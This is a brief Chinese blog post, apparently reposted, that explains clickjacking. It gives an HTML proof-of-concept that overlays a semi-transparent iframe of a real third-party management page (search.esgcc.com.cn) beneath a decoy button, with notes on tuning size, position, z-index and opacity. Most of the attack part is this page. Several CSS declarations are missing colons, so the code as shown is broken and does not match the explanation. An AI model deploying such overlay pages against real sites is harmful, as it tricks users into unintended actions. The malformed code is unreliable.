点击劫持

什么是点击劫持:

是一种视觉上的欺骗,攻击者使用一个透明的,不可见的iframe标签,覆盖在一个网页上,诱使用户在该网页上进行操作,用户在不知情的情况下点击透明的iframe页面通过调整iframe页面的位置可以诱使用户恰好点击在iframe页面的的一些功能性按钮上

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>click jack</title>
    <style>
    iframe{
        width:900px;
        height250px;
        top-195px;
        left:-740px;
        z-index2;
        -moz-opacity:0.5;
        opacity0.5;
        filter:alpha(opacity=0.5);
    }
    button {
        positionabsolute;
        top10px;
        left10px;
        width120px;
        z-index:1;
    }
    </style>
</head>
<body>
    <iframe src="http://search.esgcc.com.cn/managerGf/toGfIndexPage" scrolling="no"></iframe>
    <button>CLICK jack</button>
</body>
</html>
通过控制iframe的长宽,调整top,left的位置,可以把iframe页面内任意部分覆盖到任何地方。
同时设置iframe的position位absolute并将z-index的设置为最大已达到让iframe在页面最上层。
最后,通过设置opacity来控制iframe页面的透明度,值为0是完全不可见
原文地址:https://www.cnblogs.com/gudexiao-1996/p/11713202.html